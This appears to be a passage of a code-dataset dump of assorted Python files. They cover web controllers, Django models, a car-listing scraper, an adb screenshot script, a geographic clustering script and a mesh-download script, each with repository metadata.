\"\"\"\n try:\n return open(filename).read()\n except IOError as e:\n if e.errno == errno.ENOENT:\n raise FileDoesNotExist(filename)\n raise\n\n\ndef IsFile(filename):\n \"\"\"Returns whether the named file is a regular file.\n\n Args:\n filename: path to a file.\n Returns:\n bool: whether the file is a regular file.\n \"\"\"\n return os.path.isfile(filename)\n\n\ndef IterFiles(directory):\n \"\"\"yield all files beneath a directory.\"\"\"\n for root, unused_dirs, filenames in os.walk(directory):\n for f in filenames:\n yield os.path.join(root, f)\n\n\n","repo_name":"googleapis/google-api-java-client-services","sub_path":"generator/src/googleapis/codegen/filesys/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":534,"dataset":"github-code","pt":"81"} +{"seq_id":"39916298856","text":"from tg import TGController\nfrom tg import expose, flash, require, validate\nfrom tg.i18n import ugettext as _\nfrom tgext.datahelpers.utils import fail_with\nfrom tgext.datahelpers.validators import SQLAEntityConverter, validated_handler\nfrom calendarevents import model\nfrom calendarevents.lib.utils import create_calendar\nfrom calendarevents.model import DBSession\nfrom tgext.pluggable import plug_redirect\n\ntry:\n from tg import predicates\nexcept ImportError:\n from repoze.what import predicates\n\nfrom calendarevents.lib.forms import new_calendar_form\nfrom calendarevents.lib.validators import DateParameterValidator\n\n\nclass CalendarController(TGController):\n @expose('calendarevents.templates.calendar.calendar')\n @validate(dict(\n cal=SQLAEntityConverter(model.Calendar),\n start_from=DateParameterValidator()),\n error_handler=fail_with(404)\n )\n def _default(self, cal, view='month', start_from=None, **kw):\n if view not in ('month', 'basicWeek', 'basicDay', 'agendaWeek', 'agendaDay'):\n view = 'month'\n return dict(cal=cal, view=view, start_from=start_from)\n\n @expose('calendarevents.templates.calendar.events')\n @validate(dict(cal=SQLAEntityConverter(model.Calendar)),\n error_handler=fail_with(404))\n def events(self, cal):\n return dict(cal=cal)\n\n @expose('calendarevents.templates.calendar.list')\n @require(predicates.in_group('calendarevents'))\n def list(self):\n calendar_list = DBSession.query(model.Calendar).all()\n return dict(calendar_list=calendar_list)\n\n @expose('calendarevents.templates.calendar.new')\n @require(predicates.in_group('calendarevents'))\n def new(self, **kw):\n return dict(form=new_calendar_form)\n\n @expose()\n @require(predicates.in_group('calendarevents'))\n @validate(new_calendar_form,\n error_handler=validated_handler(new))\n def save(self, name, events_type):\n new_calendar = create_calendar(name=name, events_type=events_type)\n model.DBSession.flush()\n flash(_('Calendar successfully added'))\n return plug_redirect('calendarevents', '/calendar/%d' % new_calendar.uid)\n","repo_name":"axant/tgapp-calendarevents","sub_path":"calendarevents/controllers/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4503495266","text":"import tkinter as tk\nname = ['書店','大壞蛋','阿蘭德龍']\n # 控件\nroot = tk.Tk()\n# 窗口大小\nroot.geometry('320x600')\n\nroot.title('酷我音樂')\n\nr0 = tk.Label(root, text='請輸入歌手名字:', font=15)\nr0.grid(row=0, column=0)\n\nr1 = tk.Label(root, text='請輸入保存地址:', font=15)\nr1.grid(row=1, column=0)\n# 输入框\ne1 = tk.Entry(root, font=22,width=15)\ne1.grid(row=0, column=1)\n\ne2 = tk.Entry(root, font=22,width=15)\ne2.grid(row=1, column=1)\n# 多選框\nfor i in name:\n index = name.index(i) + 2\n cheak = tk.Checkbutton(root,text =i )\n cheak.grid(row=index, columnspan=1)\n\n# 按钮\na1 = tk.Button(root, text='下載', font=12,\n ) # ,command = readpass\na1.grid(row=1, column=2)\n\na1 = tk.Button(root, text='搜索', font=12,\n ) # ,command = readpass\na1.grid(row=0, column=2)\n\nroot.mainloop()","repo_name":"sunboHub/sunbo","sub_path":"PY/酷我音樂/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18679133527","text":"from wordcloud import WordCloud\nfrom wordcloud import ImageColorGenerator\nfrom wordcloud import STOPWORDS\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\ndef bar_plot(df):\n df[['neu','pos','neg']].sum().plot(kind='bar')\n plt.xticks(np.arange(3), ['Neutral', 'Positivo', 'Negativo'], rotation=0)\n plt.show();\n\ndef casos_plot(df,config):\n df[\"Positivos_texto\"] =np.where(df.Positivos==1,\"Positivo\",\"Negativo/ Neutral\")\n fig = sns.countplot(x=df[\"Positivos_texto\"]).set(title='Casos de '+config['alpha_vantage']['symbol'])\n plt.xlabel(\"Casos\")\n plt.ylabel(\"Frecuencia\");\n\ndef word_cloud(df):\n text = \" \".join(i for i in df.Titulares)\n stopwords = set(STOPWORDS)\n wordcloud = WordCloud(stopwords=stopwords, background_color=\"white\").generate(text)\n plt.figure( figsize=(15,10))\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.show();","repo_name":"inteliaedu/stock-prediction","sub_path":"modulos/sentimientos_viz.py","file_name":"sentimientos_viz.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25545075998","text":"import numpy as np\nfrom keras.models import model_from_json\nimport pickle\nimport cv2\n\nclassifier_f = open(\"model/int_to_word_out.pickle\", \"rb\")\nint_to_word_out = pickle.load(classifier_f)\nclassifier_f.close()\n\n# load json and create model\njson_file = open('model/model_face.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nloaded_model = model_from_json(loaded_model_json)\n# load weights into new model\nloaded_model.load_weights(\"model/model_face.h5\")\nprint(\"Model is now loaded in the disk\")\n\ndef classify_image(img):\n\timage=np.array(img)\n\t# image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\timage = cv2.resize(image, (50, 50))\n\timage=np.array([image])\n\timage = image.astype('float32')\n\timage = image / 255.0\n\t# image = np.expand_dims(image, axis=-1)\n\n\tprediction = loaded_model.predict(image)\n\tprobability = prediction[0][np.argmax(prediction)]\n\treturn (int_to_word_out[np.argmax(prediction)], probability)\n","repo_name":"PonraJS-21/Rice-Detection-Using-Opencv","sub_path":"rice_classifier.py","file_name":"rice_classifier.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23596693031","text":"import reversion\nfrom django.db import models\n\n\n@reversion.register\nclass Rule(models.Model):\n name = models.CharField(max_length=100, unique=True)\n slug = models.SlugField(unique=True)\n source = models.CharField(max_length=200)\n description = models.TextField(blank=True)\n\n def __unicode__(self):\n return self.name\n\n\n@reversion.register\nclass TableRule(Rule):\n TF_JSON, TF_YAML = range(2) \n TABLE_FORMATS = (\n (TF_JSON, 'JSON'), (TF_YAML, 'YAML')\n )\n\n definition = models.TextField()\n tablerule_format = models.PositiveSmallIntegerField(\n choices=TABLE_FORMATS, default=TF_YAML)\n\n\nclass RulePosition(models.Model):\n rule = models.ForeignKey(Rule, related_name='rule_positions')\n ruleset = models.ForeignKey('Ruleset', related_name='rule_positions')\n priority = models.PositiveIntegerField()\n\n class Meta:\n unique_together = (\n ('rule', 'ruleset'), ('ruleset', 'priority')\n )\n ordering = 'ruleset', '-priority'\n\n def __unicode__(self):\n return u'{self.ruleset.name}[{self.priority}]({self.rule.name})'.format(\n self=self)\n\n\n@reversion.register\nclass Ruleset(models.Model):\n rules = models.ManyToManyField(\n Rule, through=RulePosition, related_name='rulesets')\n name = models.CharField(max_length=100, unique=True)\n\n def __unicode__(self):\n return self.name","repo_name":"miraculixx/pyrules","sub_path":"pyrules/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"81"} +{"seq_id":"25306631707","text":"import unittest\n\nimport numpy as np\n\n# Import custom code\nfrom dynamical_systems.lorenz_63 import Lorenz63\n\n\nclass TestLorenz63(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls) -> None:\n print(\" >> Testing Lorenz63 - START -\")\n # _end_def_\n\n @classmethod\n def tearDownClass(cls) -> None:\n print(\" >> Testing Lorenz63 - STOP -\", end=\"\\n\\n\")\n # _end_def_\n\n def setUp(self) -> None:\n \"\"\"\n Creates the test object with fixed values.\n\n :return: None.\n \"\"\"\n\n # Create an object with fixed input values.\n self.test_obj = Lorenz63(sigma=[10.0, 20.0, 30.0],\n theta=[10.0, 28.0, 2.67],\n r_seed=911)\n # _end_def_\n\n def test_inverse_sigma(self) -> None:\n \"\"\"\n Ensure the inverse sigma method returns the correct value.\n\n :return: None\n \"\"\"\n\n # Make sure they are equal.\n self.assertTrue(np.array_equal(1.0/np.asarray([10.0, 20.0, 30.0]),\n self.test_obj.inverse_sigma),\n msg=\"Inverse Sigma method failed to 7 decimals.\")\n # _end_def_\n\n def test_load_functions(self) -> None:\n \"\"\"\n Upon initialization the constructor must have loaded 9 files:\n\n 1) three for the Esde,\n 2) three for the dEsde_dm,\n 3) three for the dEsde_ds.\n\n NOTE: This tests only if the number of loaded functions is the\n expected one. It does not check the validity of the functions.\n \"\"\"\n\n # This should be one.\n self.assertTrue(len(self.test_obj.Esde) == 3,\n msg=\"The number of loaded energy functions (Esde) is wrong.\")\n\n # This should be one.\n self.assertTrue(len(self.test_obj.dEsde_dm) == 3,\n msg=\"The number of loaded gradient functions (dEsde_dm) is wrong.\")\n\n # This should be one.\n self.assertTrue(len(self.test_obj.dEsde_ds) == 3,\n msg=\"The number of loaded gradient functions (dEsde_ds) is wrong.\")\n # _end_def_\n\n# _end_class_\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"vrettasm/MeanFieldVarGP","sub_path":"src/tests/test_lorenz_63.py","file_name":"test_lorenz_63.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"35601506663","text":"import cv2\nimport numpy as np\nimport time\n\nimport client.utils as utils\nfrom client.model.instance_annotator_model import ImageState, AnnotationState, LabelState\nfrom client.model.instance_annotator_model import LabelCache\nfrom client.utils import ApiException, ClientConfig\n\n\nclass InstanceAnnotatorController:\n def __init__(self, model):\n self.model = model\n\n def fetch_image_metas(self, project_id, filter_details):\n \"\"\"\n Fetch the meta information for all un-opened images in this project\n :param project_id: The ID for this project\n :param filter_details: A dict of filter params used to order the images\n :return:\n \"\"\"\n resp = utils.get_project_images(project_id, filter_details)\n\n if resp.status_code != 200:\n raise ApiException(\n \"Failed to retrieve project image ids.\",\n resp.status_code)\n\n result = resp.json()\n\n resp = utils.get_images_by_ids(result[\"ids\"])\n if resp.status_code != 200:\n raise ApiException(\n \"Failed to retrieve image meta information.\",\n resp.status_code)\n\n result = resp.json()\n for row in result[\"images\"]:\n if self.model.images.is_open(row[\"id\"]):\n continue\n\n state = ImageState(id=row[\"id\"],\n name=row[\"name\"],\n is_locked=row[\"is_locked\"],\n is_open=False)\n self.model.images.add(row[\"id\"], state)\n\n def fetch_image(self, image_id):\n \"\"\"\n Fetch the image and annotation data for this image.\n :param image_id: The ID for this image.\n :return:\n \"\"\"\n\n with self.model.images.get(image_id) as image_model:\n if not image_model:\n image_model = ImageState()\n\n resp = utils.update_image_meta_by_id(image_id, lock=True)\n if resp.status_code != 200:\n raise ApiException(\n \"Failed to lock image with id %d\" %\n image_id, resp.status_code)\n\n resp = utils.get_image_by_id(image_id)\n if resp.status_code == 404:\n raise ApiException(\n \"Image does not exist with id %d.\" %\n image_id, resp.status_code)\n elif resp.status_code != 200:\n raise ApiException(\n \"Failed to retrieve image with id %d.\" %\n image_id, resp.status_code)\n\n result = resp.json()\n\n image_model.id = result[\"id\"]\n image_model.name = result[\"name\"]\n image_model.is_locked = result[\"is_locked\"]\n\n image_model.image = utils.download_image(image_id)\n image_model.shape = image_model.image.shape\n\n resp = utils.get_image_annotation(image_id)\n if resp.status_code != 200:\n raise ApiException(\n \"Failed to retrieve annotations for the image with id %d.\" %\n image_id, resp.status_code)\n\n result = resp.json()\n annotations = {}\n i = 0\n try:\n mask_dict = utils.download_annotations(image_id)\n except ApiException:\n pass\n else:\n for row in result[\"annotations\"]:\n # TODO: Add actual annotation names to database\n annotation_name = row[\"name\"]\n class_name = row[\"class_name\"]\n mat = mask_dict.get(row[\"id\"], None)\n if mat is None:\n raise ApiException(\"Failed to download annotation with id %d.\" % row[\"id\"], resp.status_code)\n\n bbox = row[\"bbox\"]\n print(\"CLIENT: incoming bbox\")\n print(\"\\t%s\" % str(bbox))\n\n annotations[annotation_name] = AnnotationState(\n annotation_name=annotation_name,\n class_name=class_name,\n mat=mat,\n bbox=bbox)\n\n i += 1\n image_model.annotations = annotations\n self.model.images.add(image_id, image_model)\n\n def fetch_class_labels(self, project_id):\n \"\"\"\n Fetch the class labels for this project.\n :param project_id: The ID for this project.\n :return:\n \"\"\"\n print(\"Fetching Class Labels\")\n\n # TODO: These labels are project specific and should be editable by the user and stored in the database.\n\n data = [LabelState(LabelCache.BG_CLASS, [0, 0, 0, 255])]\n resp = utils.get_project_labels(project_id)\n for label in resp.json()[\"labels\"]:\n data.append(LabelState(label[\"name\"], [label[\"r\"], label[\"g\"], label[\"b\"], 255]))\n\n for label in data:\n self.model.labels.add(label.name, label)\n\n def open_image(self, image_id):\n \"\"\"\n Add a fully loaded image to the active open images.\n :param image_id: The ID of a valid image\n :return:\n \"\"\"\n\n with self.model.images.get(image_id) as image_model:\n if image_model is None or image_model.image is None:\n self.fetch_image(image_id) # MEM: 9.0 -> 10.7 (+1.7GB)\n\n if not self.model.images.contains(image_id):\n return\n\n if not self.model.active.contains(image_id):\n self.model.active.append(image_id)\n print(self.model.active._list)\n\n self.model.tool.set_current_image_id(image_id)\n self.model.tool.set_current_layer_name(None)\n\n def save_image(self, image_canvas):\n \"\"\"\n Save the changes from the image_canvas to the model and reflect these changes back to the server.\n\n NOTE: Ensure the ImageCanvas has run prepare_to_save() on the mainthread before running this operation\n :param image_canvas: The ImageCanvas object\n :return:\n \"\"\"\n\n iid = image_canvas.image_id\n with self.model.images.get(iid) as image_model:\n if image_model is None:\n raise ValueError(\n \"Image Canvas points to image id %d, which is not valid.\" %\n iid)\n\n # Build annotations\n annotations = {}\n i = 0\n pw = image_canvas.painter.paint_window\n for name in pw.get_all_names():\n if not name:\n continue\n box = pw.get_bound(name)\n mat = pw.get_mask(name).copy()\n color = pw.get_color(name)\n class_name = self.model.labels.get_class_name(color)\n if class_name is None:\n class_name = self.model.labels.get_default_name()\n annotation = AnnotationState(annotation_name=name,\n class_name=class_name,\n mat=mat,\n bbox=box)\n annotations[name] = annotation\n print(\"CLIENT: outgoing bbox\")\n print(\"\\t%s\" % str(box))\n\n image_model.annotations = annotations\n\n resp = utils.upload_annotations(iid, image_model.annotations)\n if resp.status_code != 201:\n msg = \"Failed to save annotations to the image with id %d.\" % iid\n raise ApiException(message=msg, code=resp.status_code)\n\n resp = utils.update_image_meta_by_id(iid, lock=False, labeled=image_model.is_labeled)\n if resp.status_code != 200:\n msg = \"Failed to unlock the image with id %d.\" % iid\n raise ApiException(message=msg, code=resp.status_code)\n\n self.model.images.add(iid, image_model)\n self.update_image_meta(iid, unsaved=False, is_locked=False)\n\n def update_tool_state(self,\n pen_size=None,\n alpha=None,\n current_iid=None,\n current_label='',\n current_layer=''):\n if pen_size is not None:\n self.model.tool.set_pen_size(pen_size)\n if alpha is not None:\n self.model.tool.set_alpha(alpha)\n if current_iid is not None:\n self.model.tool.set_current_image_id(current_iid)\n if current_layer != '':\n self.model.tool.set_current_layer_name(current_layer)\n # If current layer changes update current_label aswell\n iid = self.model.tool.get_current_image_id()\n with self.model.images.get(iid) as img:\n if img is not None and img.annotations is not None:\n annotation = img.annotations.get(current_layer, None)\n if annotation is not None:\n self.model.tool.set_current_label_name(\n annotation.class_name)\n if current_label != '':\n self.model.tool.set_current_label_name(current_label)\n\n def load_annotations(self, iid=None, annotations=None):\n if iid is None:\n iid = self.model.tool.get_current_image_id()\n\n with self.model.images.get(iid) as image:\n if image is None or image.annotations is None:\n return\n image.annotations = annotations\n self.model.images.add(iid, image)\n\n def update_annotation(\n self,\n iid=None,\n layer_name=None,\n bbox=None,\n texture=None,\n label_name=None,\n mask_enabled=None,\n bbox_enabled=None):\n # Populate iid and layer_name with current values if None\n if iid is None:\n iid = self.model.tool.get_current_image_id()\n if layer_name is None:\n layer_name = self.model.tool.get_current_layer_name()\n\n with self.model.images.get(iid) as image:\n if image is None or image.annotations is None:\n return\n annotation = image.annotations.get(layer_name, None)\n if annotation is None:\n return\n\n if bbox is not None:\n annotation.bbox = bbox\n\n if texture is not None:\n annotation.mat = utils.texture2mat(texture)\n\n if label_name is not None:\n annotation.class_name = label_name\n\n if mask_enabled is not None:\n annotation.mask_enabled = bool(mask_enabled)\n\n if bbox_enabled is not None:\n annotation.bbox_enabled = bool(bbox_enabled)\n\n image.annotations[layer_name] = annotation\n self.model.images.add(iid, image)\n\n def update_image_meta(\n self,\n iid=None,\n is_locked=None,\n is_labeled=None,\n is_open=None,\n unsaved=None):\n\n diff = False\n\n if iid is None:\n iid = self.model.tool.get_current_image_id()\n\n with self.model.images.get(iid) as image:\n if image is None:\n return\n\n if is_locked is not None:\n diff = diff or image.is_locked is not is_locked\n image.is_locked = is_locked\n\n if is_labeled is not None:\n diff = diff or image.is_labeled is not is_labeled\n image.is_labeled = is_labeled\n\n if is_open is not None:\n image.is_open = is_open\n\n if unsaved is not None:\n print(\"Controller: Marking as unsaved\")\n image.unsaved = unsaved\n\n self.model.images.add(iid, image)\n\n if diff:\n resp = utils.update_image_meta_by_id(iid, lock=image.is_locked, labeled=image.is_labeled)\n if resp.status_code != 200:\n raise ApiException(\n \"Failed to update image with id %d\" %\n iid, resp.status_code)\n\n def add_blank_layer(self, iid):\n with self.model.images.get(iid) as img:\n layer_name = img.get_unique_annotation_name()\n class_name = self.model.tool.get_current_label_name()\n mask = np.zeros(shape=img.shape, dtype=np.uint8)\n bbox = (0, 0, 0, 0)\n annotation = AnnotationState(layer_name, class_name, mask, bbox)\n img.annotations[layer_name] = annotation\n self.model.images.add(iid, img)\n self.model.tool.set_current_layer_name(layer_name)\n print(\"Controller: Adding blank layer (%s)\" % layer_name)\n self.update_image_meta(iid, unsaved=True)\n\n def delete_layer(self, iid, layer_name):\n with self.model.images.get(iid) as img:\n img.annotations.pop(layer_name, None)\n self.model.images.add(iid, img)\n if self.model.tool.get_current_layer_name() is layer_name:\n self.model.tool.set_current_layer_name(None)\n print(\"Controller: Deleting layer (%s)\" % layer_name)\n\n self.update_image_meta(iid, unsaved=True)\n","repo_name":"UoA-CARES/FastAnnotation","sub_path":"client/controller/instance_annotator_controller.py","file_name":"instance_annotator_controller.py","file_ext":"py","file_size_in_byte":13152,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"37248932433","text":"from Invoice_data.models import Item,Invoices\nfrom rest_framework import serializers\n\n\nclass ItemSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Item\n fields = ['item_name', 'amount']\n\nclass InvoicesSerializer(serializers.ModelSerializer):\n items = ItemSerializer(many=True)\n\n class Meta:\n model = Invoices\n fields = ['id','invoice_number','seller','buyer','status','items']\n \n def create(self,validated_data):\n item_obj = validated_data.pop(\"items\",[])\n invoice = Invoices.objects.create(**validated_data)\n for i in item_obj:\n obj = Item.objects.create(**i)\n invoice.items.add(obj)\n return invoice\n \nclass InvoicesStatusSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Invoices\n fields = ['status',]\n \n \n","repo_name":"KARISHMASHINDE/Invoice","sub_path":"Invoice_data/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"628434602","text":"import requests\nfrom lxml import html\n\ndef scrape_page(url):\n content = requests.get(url).content\n return process(content)\n\ndef process(html_string):\n html_tree = html.fromstring(html_string)\n listings = html_tree.xpath('//div[contains(@class, \"vehicle-details\")]')\n for listing in listings:\n badge_label_span = listing.xpath('.//span[contains(@class, \"sds-badge__label\")]')\n mileage_div = listing.xpath('.//div[contains(@class, \"mileage\")]')\n link = listing.xpath('.//a[@href]')\n price_span = listing.xpath('.//span[contains(@class, \"primary-price\")]')\n mileage = mileage_div[0].text.strip() if mileage_div else 'N/A'\n listing_link = 'https://www.cars.com' + link[0].get('href') if link else 'N/A'\n price = price_span[0].text.strip() if price_span else 'N/A'\n badge_label = badge_label_span[0].text.strip() if badge_label_span else 'N/A'\n print(\"Listing Found:\")\n print(\"Mileage:\", mileage)\n print(\"Link:\", listing_link)\n print(\"Price:\", price)\n print(\"Badge Label:\", badge_label)\n print('-----')\n\nurl = 'https://www.cars.com/shopping/results/?stock_type=used&makes%5B%5D=mazda&models%5B%5D=mazda-cx_5&list_price_max=15000&maximum_distance=100&zip=30064'\n\nscrape_page(url)","repo_name":"Sahjin21/MazdaScraper","sub_path":"scraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25856970814","text":"from ppadb.client import Client as AdbClient\n\n# Default is \"127.0.0.1\" and 5037\nclient = AdbClient(host=\"127.0.0.1\", port=5037)\n# print(client.version())\n\n# 列出已連接的設備\ndevices = client.devices()\nprint(devices)\n\n# 取得第一個設備的屏幕截圖\nif devices:\n device = devices[0]\n image = device.screencap()\n with open('screenshot01.png', 'wb') as f:\n f.write(image)","repo_name":"nohungry/phoneAction","sub_path":"adb_test002.py","file_name":"adb_test002.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20644993519","text":"import math\r\nfrom datetime import *\r\nfrom operator import itemgetter\r\nsource = 'Source.txt'\r\ndestination = 'Results.txt'\r\nmin_time = 300 #Seconds\r\nmin_dis = 100 #Meters\r\n\r\ndef read_source_file():\r\n source_file = open(source, 'r')\r\n source_text = source_file.read()\r\n source_file.close()\r\n source_table = parse_text(source_text)\r\n return source_table\r\n######################################################\r\ndef parse_text(source_text, new_line_char = '\\n', new_cell_char = '\\t', number_of_columns = 4):\r\n new_table = []\r\n cell_value = ''\r\n current_row = []\r\n illegal_cell_values = ['',' ',None,'\\t','\\n']\r\n for char in source_text:\r\n #New Row - Reset Cell and Row after append\r\n if char == new_line_char:\r\n #Check if new line is legal = Contains only two entities\r\n current_row.append(cell_value)\r\n if len(current_row) == number_of_columns and current_row[0] not in illegal_cell_values and current_row[1] not in illegal_cell_values:\r\n new_table.append(current_row)\r\n current_row = []\r\n cell_value = ''\r\n\r\n #New cell - Reset cell after append\r\n elif char == new_cell_char:\r\n current_row.append(cell_value)\r\n cell_value = ''\r\n\r\n #Add the char to current cell value\r\n else:\r\n cell_value += char\r\n #Append last cell to row and last row to table if legal\r\n if len(current_row) > 0:\r\n current_row.append(cell_value)\r\n new_table.append(current_row)\r\n return new_table\r\n######################################################\r\ndef sort_by_time(table, time_index = 3):\r\n table = canonize_time(table, time_index)\r\n for row in table:\r\n #Add timestamp to each row for indexing\r\n timestamp = time_to_epoch(row[time_index], '01/01/1970 00:00:00')\r\n row.append(timestamp)\r\n table = sorted(table, key=itemgetter(-1))\r\n for row in table:\r\n #Remove timestamp\r\n del row[-1]\r\n return table\r\n######################################################\r\ndef canonize_time(time, time_index):\r\n for row in table:\r\n if len(row[time_index]) == 16:\r\n row[time_index] = row[time_index] + \":00\"\r\n return table\r\n######################################################\r\ndef calc_distance(lat_a, long_a, lat_b, long_b):\r\n #Haversine formula\r\n long_a = float(long_a)\r\n lat_a = float(lat_a)\r\n long_b = float(long_b)\r\n lat_b = float(lat_b)\r\n R = 6371 #Earth's Radius\r\n d_lat = degreeToRadians(float(lat_a) - float(lat_b))\r\n d_long = degreeToRadians(float(long_a) - float(long_b))\r\n a = math.sin(d_lat / 2) ** 2 + math.cos(lat_a) * math.cos(lat_b) * math.sin(d_long / 2) ** 2\r\n b = 2 * math.asin(math.sqrt(a))\r\n return b * R * 1000 #Distance in meters\r\n######################################################\r\ndef degreeToRadians(deg):\r\n return deg * math.pi / 180\r\n######################################################\r\ndef time_to_epoch(date_a, date_b):\r\n date_a = datetime.strptime(date_a, '%d/%m/%Y %X')\r\n date_b = datetime.strptime(date_b, '%d/%m/%Y %X')\r\n return abs(int((date_a - date_b).total_seconds()))\r\n######################################################\r\ndef is_small_list_in_large_list(small_list, large_list):\r\n value = True\r\n for row in small_list:\r\n if row not in large_list:\r\n value = False\r\n return value\r\n######################################################\r\ndef remove_contained_groups(groups):\r\n new_table = []\r\n for current_group in sorted(groups, key = len):\r\n add_current_group = True\r\n for compared_group in sorted(groups, key = len):\r\n if len(compared_group) > len(current_group):\r\n if is_small_list_in_large_list(current_group, compared_group) == True:\r\n add_current_group = False\r\n if add_current_group == True and current_group not in new_table:\r\n new_table.append(current_group)\r\n return new_table\r\n######################################################\r\ndef create_groups(table):\r\n groups_table = []\r\n for current_row_index in range(0, len(table)):\r\n #Compare each row to all exceeding rows\r\n current_row = table[current_row_index]\r\n new_group = [current_row]\r\n distinct_clients_in_group = []\r\n client_a = current_row[0]\r\n distinct_clients_in_group.append(client_a)\r\n lat_a = current_row[1]\r\n long_a = current_row[2]\r\n date_a = current_row[3]\r\n for compared_row_index in range(current_row_index + 1, len(table)):\r\n compared_row = table[compared_row_index]\r\n date_b = compared_row[3]\r\n #because we indexed the table according to the timestamp - once time dif is larger than min we can break\r\n if time_to_epoch(date_a, date_b) > min_time:\r\n check_and_append(new_group, current_row, groups_table, distinct_clients_in_group)\r\n break\r\n elif compared_row != current_row:\r\n client_b = compared_row[0]\r\n if client_b not in distinct_clients_in_group:\r\n distinct_clients_in_group.append(client_b)\r\n lat_b = compared_row[1]\r\n long_b = compared_row[2]\r\n if calc_distance(lat_a, long_a, lat_b, long_b) <= min_dis:\r\n new_group.append(compared_row)\r\n check_and_append(new_group, current_row, groups_table, distinct_clients_in_group)\r\n return groups_table\r\n######################################################\r\ndef check_and_append(new_group, current_row, groups_table, distinct_clients_in_group):\r\n if new_group != [current_row] and sorted(new_group) not in groups_table and len(distinct_clients_in_group) > 1:\r\n # Add the number of clients involved to each row\r\n for row in new_group:\r\n row.append(str(len(distinct_clients_in_group)))\r\n groups_table.append(sorted(new_group))\r\n return groups_table\r\n######################################################\r\ndef add_additional_values_to_group(groups_table):\r\n new_table = []\r\n group_index = 1\r\n for group in groups_table:\r\n new_group = []\r\n avg_lat = 0\r\n avg_long = 0\r\n group_length = len(group)\r\n for row in group:\r\n #Calc AVG lat and long\r\n current_row_lat = float(row[1])\r\n current_row_long = float(row[2])\r\n avg_lat += current_row_lat\r\n avg_long += current_row_long\r\n avg_lat = avg_lat / group_length\r\n avg_long = avg_long / group_length\r\n for row in group:\r\n current_row_lat = float(row[1])\r\n current_row_long = float(row[2])\r\n row.append(str(avg_lat))\r\n row.append(str(avg_long))\r\n new_row = [str(group_index), row[0], current_row_lat, current_row_long, row[3], row[4], str(avg_lat), str(avg_long)]\r\n new_group.append(new_row)\r\n new_table.append(new_group)\r\n group_index += 1\r\n return new_table\r\n######################################################\r\ndef write_to_results(groups_table):\r\n results_file = open(destination, 'w')\r\n results_file.write('Group Index\\t')\r\n results_file.write('Client\\t')\r\n results_file.write('Latitude\\t')\r\n results_file.write('Longitude\\t')\r\n results_file.write('Time\\t')\r\n results_file.write('Number_of_Clients\\t')\r\n results_file.write('Avg_Latitude\\t')\r\n results_file.write('Avg_Longitude\\n')\r\n for group in groups_table:\r\n for row in group:\r\n for cell in row:\r\n results_file.write(str(cell) + '\\t')\r\n results_file.write('\\n')\r\n######################################################\r\nprint ('Geographic Analysis for app optimization')\r\nprint ('Min Time: ' + str(min_time) +' Seconds; Min Distance: ' + str(min_dis) +' Meters;')\r\ntable = read_source_file() #Read the Data from the source file\r\ntable = sort_by_time(table) #Sort the table according to timestamp - to significantly reduce runtime\r\ngroups_table = create_groups(table) #Create groups based on events\r\ngroups_table = remove_contained_groups(groups_table) #Remove groups which are contained in larger groups\r\ngroups_table = add_additional_values_to_group(groups_table) #Such as avg_lat, avg_long\r\nwrite_to_results(groups_table)","repo_name":"YL-byte/Simple-Geographic-Data-Analysis-For-Apps","sub_path":"Geographic Analysis for app optimization.py","file_name":"Geographic Analysis for app optimization.py","file_ext":"py","file_size_in_byte":8381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73488012744","text":"##\n#\n# Project Euler 78\n# https://projecteuler.net/problem=78\n# By: Elias Lundell\n#\n##\n\nans = {}\n\ndef p(n):\n if n in ans:\n return ans[n]\n sum_ = 1\n for m in range(1, n):\n sum_ += p(m) + p(n - m)\n ans[n] = sum_\n return sum_\n\nprint(p(5))\n","repo_name":"LogFlames/project-euler-python","sub_path":"pe78_nf.py","file_name":"pe78_nf.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"8913177387","text":"\"\"\"Showing all mesh parts segmented by color\"\"\"\nfrom vedo import *\nimport os \nfrom os import path\nimport wget\n\n\n# Path to github raw content of files. \n# We need to use raw.githubusercontent.com otherwise we download \n# an html file \nurlPath = \"https://raw.githubusercontent.com/eraldoribeiro/changeOfCoordinates/main/\"\n\n# Filenames (individual mesh parts)\nfn_mainBody = \"main_body.vtk\"\nfn_topRotor = \"top_rotor.vtk\"\nfn_tailRotor = \"tail_rotor.vtk\"\n \n# Download the 